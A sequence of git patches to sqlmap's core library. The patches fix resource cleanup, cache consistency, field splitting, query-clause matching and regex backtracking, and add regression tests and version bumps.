self.connection.cursor() @@ -120,8 +123,17 @@ class Replication(object): return Replication.Table(parent=self, name=tblname, columns=columns, typeless=typeless) def __del__(self): - self.cursor.close() - self.connection.close() + try: + if self.cursor is not None: + self.cursor.close() + except Exception: + pass + + try: + if self.connection is not None: + self.connection.close() + except Exception: + pass # sqlite data types NULL = DataType('NULL') diff --git a/lib/core/settings.py b/lib/core/settings.py index 070ad183e..7314f22b6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.139" +VERSION = "1.10.6.140" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_replication.py b/tests/test_replication.py index 22bdab820..7e5d8a0c5 100644 --- a/tests/test_replication.py +++ b/tests/test_replication.py @@ -23,6 +23,8 @@ from _testutils import bootstrap bootstrap() from lib.core.replication import Replication +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapValueException class _ReplCase(unittest.TestCase): @@ -83,5 +85,37 @@ class TestCreateInsertSelect(_ReplCase): self.assertEqual(t2.select(), []) +class TestInsertColumnMismatch(_ReplCase): + def test_wrong_column_count_raises(self): + t = self.rep.createTable("c", [("a", self.rep.INTEGER), ("b", self.rep.TEXT)]) + # too few / too many values must be rejected (not silently mis-inserted) + self.assertRaises(SqlmapValueException, t.insert, [1]) + self.assertRaises(SqlmapValueException, t.insert, [1, "x", "extra"]) + # the matching count still works + t.insert([1, "x"]) + self.assertEqual(t.select(), [(1, "x")]) + + +class TestInitFailure(unittest.TestCase): + """A failed open (e.g. unwritable path) must raise cleanly and the partially + constructed object must be safe to finalize (no AttributeError in __del__).""" + + def _bad_path(self): + # a database file inside a directory that does not exist => connect fails + return os.path.join(tempfile.gettempdir(), "sqlmap_no_such_dir_%d" % os.getpid(), "x.sqlite") + + def test_bad_path_raises(self): + self.assertRaises(SqlmapConnectionException, Replication, self._bad_path()) + + def test_del_safe_after_failed_init(self): + obj = Replication.__new__(Replication) + self.assertRaises(SqlmapConnectionException, obj.__init__, self._bad_path()) + # connection/cursor must be initialized even when connect() fails ... + self.assertIsNone(obj.connection) + self.assertIsNone(obj.cursor) + # ... so finalization is a no-op rather than raising + obj.__del__() + + if __name__ == "__main__": unittest.main(verbosity=2) From a3fc17166532f5cd2be3042a78996fa611250fcc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 23:36:30 +0200 Subject: [PATCH 046/165] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/dump.py | 6 +++--- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index bd298b52a..f46442ae8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -176,7 +176,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 2f44a1bfe6f18aafe64147b99e69aa93cf438c0e7befe59f4e2aee9065c8b7b6 lib/core/dicts.py -2592b0fd38c272c0b0d49878f4449437eb8ba8ff7536bb39b2ac9a2511010f7c lib/core/dump.py +12155385c1c4f763c1e8fcb92165015b913620ae1fec1e8de303e4fe841e5a69 lib/core/dump.py 6b6514202c6ca2d29069176bccf10492927d83e6ede06c9f4b4fcc6164e61856 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -3f62e7d98fb47950f6c9ff99386cb9ae346f7d64e2b0ed2c85cf9d394a2c6c69 lib/core/settings.py +46468c8b40417c10bd9f472c259c89c0f0641bc247097006497118c3d7980672 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/dump.py b/lib/core/dump.py index ebc7d0cd0..f6efb99e2 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -94,9 +94,9 @@ class Dump(object): except IOError as ex: errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) - - if multiThreadMode: - self._lock.release() + finally: + if multiThreadMode: + self._lock.release() kb.dataOutputFlag = True diff --git a/lib/core/settings.py b/lib/core/settings.py index 7314f22b6..e2694162f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.140" +VERSION = "1.10.6.141" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 0b2b3e956f4efdd5088d87c04993a2f5331a97b2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 22 Jun 2026 00:17:11 +0200 Subject: [PATCH 047/165] Minor patch --- data/txt/sha256sums.txt | 6 ++--- lib/core/bigarray.py | 6 +++++ lib/core/settings.py | 2 +- tests/test_bigarray.py | 59 +++++++++++++++++++++++++++++++++++++++++ 4 files changed, 69 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index f46442ae8..5cc09e3ae 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9da83429449d78797c18bb79ff425aa1eddf5b26b9987d25d042eb0998053675 lib/core/agent.py -12d0f1f28796b6fbf5629a3fd335b4098eac0583f832d1aa650efa22bf52e782 lib/core/bigarray.py +905e49d6e030a60f7767c71e0726e0def57c50542210afd9be1cdec122d2d1ce lib/core/bigarray.py dba8ebb5cfc6a085c6d91aff0135cfbe8716a40cc20cb1c7cfcd50b5a90e64f5 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -46468c8b40417c10bd9f472c259c89c0f0641bc247097006497118c3d7980672 lib/core/settings.py +d1ad94ae601d7470f1e2fd77b834c048921043479939346b09c92d6a19cdda85 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -574,7 +574,7 @@ dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unional ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py bfb553602eb5d20b4ab5928dbcf8e6a3e7e5ff69f7d30d1f53ef6d323c237f6c tests/test_agent.py -d4d7d3525d25ce72bf38bd38b5fdf61144e381993d63be7dc72b2b4811ffab67 tests/test_bigarray.py +feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_bigarray.py 27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py 9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_common_helpers.py diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 0f2b50b14..fa2976282 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -172,6 +172,12 @@ class BigArray(list): except OSError: pass + # Note: the formerly on-disk chunk is now an in-memory list (and its file has been + # removed), so any cache entry still pointing at it is stale; dropping it prevents + # serving outdated data if that chunk index is later re-dumped (e.g. append after pop) + if isinstance(self.cache, Cache) and self.cache.index == idx: + self.cache = None + return self.chunks[-1].pop() def index(self, value): diff --git a/lib/core/settings.py b/lib/core/settings.py index e2694162f..01bc7ce03 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.141" +VERSION = "1.10.6.142" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_bigarray.py b/tests/test_bigarray.py index f531ea4bb..8d033f77c 100644 --- a/tests/test_bigarray.py +++ b/tests/test_bigarray.py @@ -80,6 +80,65 @@ class TestSpill(unittest.TestCase): self.assertEqual(restored[N - 1], "item-%d" % (N - 1)) +class TestCacheConsistency(unittest.TestCase): + """The on-disk chunk is served through a single-slot cache (read caching plus + dirty write-back). These check that the cache never serves stale data.""" + + def test_setitem_writeback_across_chunks(self): + ba = _make_spilled() + ref = ["item-%d" % i for i in range(N)] + # mutate elements spread across several different on-disk chunks + for i in (0, 1, 499, 500, 2500, N - 1): + ba[i] = ref[i] = "EDIT-%d" % i + try: + for i in (0, 1, 499, 500, 2500, N - 1): + self.assertEqual(ba[i], ref[i], msg="readback ba[%d]" % i) + self.assertEqual(list(ba), ref) # full independent traversal agrees + finally: + ba.close() + + def test_dirty_edit_survives_pickle(self): + ba = _make_spilled() + ba[10] = "EDITED-LOW" + ba[N - 10] = "EDITED-HIGH" + restored = pickle.loads(pickle.dumps(ba)) + try: + self.assertEqual(restored[10], "EDITED-LOW") + self.assertEqual(restored[N - 10], "EDITED-HIGH") + finally: + restored.close() + ba.close() + + def test_pop_then_append_then_direct_read(self): + # Regression: pop() reloads the last on-disk chunk into memory and deletes its + # file, but a non-dirty cache entry still pointing at that chunk index was left + # in place. A later append that re-dumps the chunk index then made the stale + # cache serve outdated data on a direct __getitem__ (silent data corruption). + ref = ["item-%d" % i for i in range(N)] + ba = _make_spilled() + try: + cl = ba.chunk_length + last = len(ba.chunks) - 2 # last on-disk chunk (tail is the in-memory list) + base = last * cl + + ba[base] # populate cache at idx=last, NOT dirty + + while len(ba) > base + 1: # pop() reloads chunk 'last' from disk, removes its file + ba.pop() + ref.pop() + + for i in range(cl): # re-dump chunk 'last' to a brand new temp file + value = "NEW-%d" % i + ba.append(value) + ref.append(value) + + # direct access to the re-dumped chunk, with no prior read to refresh the cache + for off in range(cl): + self.assertEqual(ba[base + off], ref[base + off], msg="offset %d" % off) + finally: + ba.close() + + class TestInMemorySmall(unittest.TestCase): def test_no_spill_for_small(self): ba = BigArray([1, 2, 3]) From bf28b0ae47e671b773ba9ae3e05ceada80ade56e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 22 Jun 2026 00:21:16 +0200 Subject: [PATCH 048/165] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 10 ++++++---- lib/core/settings.py | 2 +- 3 files changed, 9 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 5cc09e3ae..d92179036 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9da83429449d78797c18bb79ff425aa1eddf5b26b9987d25d042eb0998053675 lib/core/agent.py 905e49d6e030a60f7767c71e0726e0def57c50542210afd9be1cdec122d2d1ce lib/core/bigarray.py -dba8ebb5cfc6a085c6d91aff0135cfbe8716a40cc20cb1c7cfcd50b5a90e64f5 lib/core/common.py +cd22e671c7c96ca8e0e23e1578780e7390dbb50055dabf7bd44f933318c2a9b0 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d1ad94ae601d7470f1e2fd77b834c048921043479939346b09c92d6a19cdda85 lib/core/settings.py +aefc6278c2eee19a2411d19afe85ee78a30214750903b2321d04b2a6a2881b59 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index cd11f5a4c..938d9432b 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5346,6 +5346,8 @@ def splitFields(fields, delimiter=','): ['foo', 'bar', 'max(foo,bar)'] >>> splitFields("a, 'b, c', d") ['a', "'b, c'", 'd'] + >>> splitFields('a; b; max(c; d)', delimiter=';') + ['a', 'b', 'max(c;d)'] """ # collapse " " -> "" but only OUTSIDE quoted string literals, so a @@ -5376,11 +5378,11 @@ def splitFields(fields, delimiter=','): index += 1 fields = "".join(normalized) - commas = [-1, len(fields)] - commas.extend(zeroDepthSearch(fields, ',')) - commas = sorted(commas) + splits = [-1, len(fields)] + splits.extend(zeroDepthSearch(fields, delimiter)) + splits = sorted(splits) - return [fields[x + 1:y] for (x, y) in _zip(commas, commas[1:])] + return [fields[x + 1:y] for (x, y) in _zip(splits, splits[1:])] def pollProcess(process, suppress_errors=False): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 01bc7ce03..b34db55c2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.142" +VERSION = "1.10.6.143" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 87a3a2e51cc8b95bd26667291dca6fb72e836212 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 22 Jun 2026 22:11:16 +0200 Subject: [PATCH 049/165] Minor fixes --- data/txt/sha256sums.txt | 24 ++++---- lib/core/agent.py | 56 ++++++++++++++++-- lib/core/bigarray.py | 10 ++++ lib/core/common.py | 99 ++++++++++++++++++++++---------- lib/core/dicts.py | 1 + lib/core/dump.py | 32 +++++++---- lib/core/option.py | 52 ++++++++++------- lib/core/settings.py | 9 ++- lib/core/shell.py | 14 ++++- lib/core/subprocessng.py | 5 ++ lib/core/target.py | 13 +++-- lib/core/testing.py | 7 +++ tests/test_identifiers_output.py | 13 ++++- 13 files changed, 247 insertions(+), 88 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d92179036..81998aae8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,34 +166,34 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 96463b969312bd4fd29452b5fc739f33e5a73f81fdc1ef80ac27debbe9926e42 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -9da83429449d78797c18bb79ff425aa1eddf5b26b9987d25d042eb0998053675 lib/core/agent.py -905e49d6e030a60f7767c71e0726e0def57c50542210afd9be1cdec122d2d1ce lib/core/bigarray.py -cd22e671c7c96ca8e0e23e1578780e7390dbb50055dabf7bd44f933318c2a9b0 lib/core/common.py +1276ff64ad145157d8c65ce08f3066b6db041d12f7d1eee590c06123c700b18d lib/core/agent.py +c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py +5a8dcfc6c43927e4a132d34abf5d75193eaeb3feb0cb58d0ff5bdc059c876ba9 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py 6c8d40d6bbab4a60d09eb03324a3352d85df1a741c62044e73701e92172d1d38 lib/core/datatype.py 70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py -2f44a1bfe6f18aafe64147b99e69aa93cf438c0e7befe59f4e2aee9065c8b7b6 lib/core/dicts.py -12155385c1c4f763c1e8fcb92165015b913620ae1fec1e8de303e4fe841e5a69 lib/core/dump.py +7ce2c09ebcd63d57f7b6751f70f536e2a562230d51181eb24f5024bb6f3d74cc lib/core/dicts.py +a3125c682e891f67255b89d2db891cbaae241f36dd277a272ae6db943111a157 lib/core/dump.py 6b6514202c6ca2d29069176bccf10492927d83e6ede06c9f4b4fcc6164e61856 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py b5da34bba9ce71ede23349698988939501f5df07be151856007b9b8425a228db lib/core/optiondict.py -c1a9edb894033f1cef0a15a05cca196f816df3465444134af171870dedbe1538 lib/core/option.py +4e7f2ad3d2866093aa195616a0e93de1687406edc0b9038fbfa76bf1c9c174b2 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -aefc6278c2eee19a2411d19afe85ee78a30214750903b2321d04b2a6a2881b59 lib/core/settings.py -cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py -bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py -70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -d213562601682fd72603a22f35e5af4e3f41e23bfb143e1584a4fa212a232635 lib/core/testing.py +61354a9fbf94b67744b3a850475ff8ec7408979f23e2709d1f15b4642021d673 lib/core/settings.py +c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py +a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py +19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py +c1392cda2f202fa3c628f74533c8d9379d1cf7e754ac165e39021bbc2bbc4a22 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py @@ -594,7 +594,7 @@ a38f3257aa218fa706ddb903c181715b2286619c46aea0097b7d365d18c410c5 tests/test_dns bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py 8105de9978fe286a29f6b635a58db1e9998d86e8dded54d7efdfb9d52a121094 tests/test_hashdb.py c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py -205e84827461101a78b2cffaa3de49795a1214e92276fc7fd40f3456657062b9 tests/test_identifiers_output.py +d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 57fa9713a3186020be8bcc3f06399e92bf9ce82ec6d3413c76babe19606bb698 tests/test_openapi_drift.py diff --git a/lib/core/agent.py b/lib/core/agent.py index bc0d1ed01..686eb43bb 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -221,7 +221,7 @@ class Agent(object): elif BOUNDED_INJECTION_MARKER in paramDict[parameter]: if base64Encoding: retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue) - match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal) + match = re.search(r"(%s)=([^&]*)" % re.escape(re.sub(r" \(.+", "", parameter)), retVal) if match: retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING))) else: @@ -677,6 +677,49 @@ class Agent(object): pass return retVal + @staticmethod + def _collapseFieldDelimiterSpace(query): + """ + Collapses ", " into "," to normalize the column-list delimiter, but ONLY outside + single/double quoted string literals, so a comma-space inside a literal (e.g. in a + WHERE clause: name='John, Jr') is preserved verbatim. The quote/escape handling + mirrors splitFields()/zeroDepthSearch(). + + >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t") + 'SELECT a,b FROM t' + >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t WHERE name='John, Jr'") + "SELECT a,b FROM t WHERE name='John, Jr'" + """ + + retVal = [] + quote = None + index = 0 + length = len(query) + + while index < length: + char = query[index] + if quote: + retVal.append(char) + if char == quote: + if index + 1 < length and query[index + 1] == quote: # escaped quote (e.g. '') + retVal.append(query[index + 1]) + index += 2 + continue + else: + quote = None + elif char in ('"', "'"): + quote = char + retVal.append(char) + elif char == ',' and index + 1 < length and query[index + 1] == ' ': + retVal.append(',') # keep the delimiter, drop the single trailing space + index += 2 + continue + else: + retVal.append(char) + index += 1 + + return "".join(retVal) + def concatQuery(self, query, unpack=True): """ Take in input a query string and return its processed nulled, @@ -705,7 +748,7 @@ class Agent(object): if unpack: concatenatedQuery = "" - query = query.replace(", ", ',') + query = self._collapseFieldDelimiterSpace(query) fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query) castedFields = self.nullCastConcatFields(fieldsToCastStr) concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1) @@ -979,7 +1022,9 @@ class Agent(object): stopLimit = limitRegExp.group(int(limitGroupStop)) elif limitRegExp2: startLimit = 0 - stopLimit = limitRegExp2.group(int(limitGroupStart)) + # Note: query2 (LIMIT without OFFSET) always has exactly one group (the + # count); using limitGroupStart here would IndexError for H2 (groupstart=2) + stopLimit = limitRegExp2.group(1) limitCond = int(stopLimit) > 1 elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): @@ -1281,7 +1326,10 @@ class Agent(object): if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None: prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), "" else: - match = re.search(r" (LIMIT|ORDER).+", query, re.I) + # Note: require a genuine trailing clause (ORDER BY / LIMIT word-bounded), so a + # column/identifier merely starting with "order"/"limit" (e.g. order_id) is not + # mistaken for the suffix and the WHERE is not spliced into the wrong place + match = re.search(r" (ORDER\s+BY\b|LIMIT\b).+", query, re.I) if match: suffix = match.group(0) prefix = query[:-len(suffix)] diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index fa2976282..1606bc69a 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -226,9 +226,19 @@ class BigArray(list): self.cache = None if (self.cache and self.cache.index != index and self.cache.dirty): + old_filename = self.chunks[self.cache.index] filename = self._dump(self.cache.data) self.chunks[self.cache.index] = filename + # Note: remove the now-superseded chunk file (mirrors __getstate__); otherwise every + # cross-chunk dirty flush orphans one temp file on disk and in self.filenames + if isinstance(old_filename, STRING_TYPES): + try: + self._os_remove(old_filename) + self.filenames.discard(old_filename) + except OSError: + pass + if not (self.cache and self.cache.index == index): try: with open(self.chunks[index], "rb") as f: diff --git a/lib/core/common.py b/lib/core/common.py index 938d9432b..5b04c9589 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -50,6 +50,7 @@ from lib.core.bigarray import BigArray from lib.core.compat import cmp from lib.core.compat import codecs_open from lib.core.compat import LooseVersion +from lib.core.compat import RecursionError from lib.core.compat import round from lib.core.compat import xrange from lib.core.convert import base64pickle @@ -1459,11 +1460,6 @@ def jsonMinimize(content): True """ - try: - data = json.loads(content) - except (ValueError, TypeError): - return None - lines = [] def _walk(obj, path): @@ -1477,7 +1473,14 @@ def jsonMinimize(content): else: lines.append("%s=%s" % (path, obj)) # scalar values kept (boolean detection flips values) - _walk(data, "") + # Note: both json.loads() and the _walk() recursion can hit RecursionError (RuntimeError on + # Python 2) on JSON nested past the interpreter limit; treat that as "not usable" and return + # None so callers fall back to text comparison, rather than crashing the comparison thread + try: + data = json.loads(content) + _walk(data, "") + except (ValueError, TypeError, RecursionError): + return None return "\n".join(sorted(lines)) @@ -1892,7 +1895,9 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.]+)+)(\s|\Z)", expression) + # Note: the table-reference group consumes one char / quoted-chunk per repetition ([\w.] not + # [\w.]+) to avoid catastrophic backtracking on a 'SELECT * FROM (' input + match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.])+)(\s|\Z)", expression) if match: infoMsg = "you did not provide the fields in your query. " @@ -2957,6 +2962,7 @@ def findLocalPort(ports): retVal = None for port in ports: + s = None try: try: s = 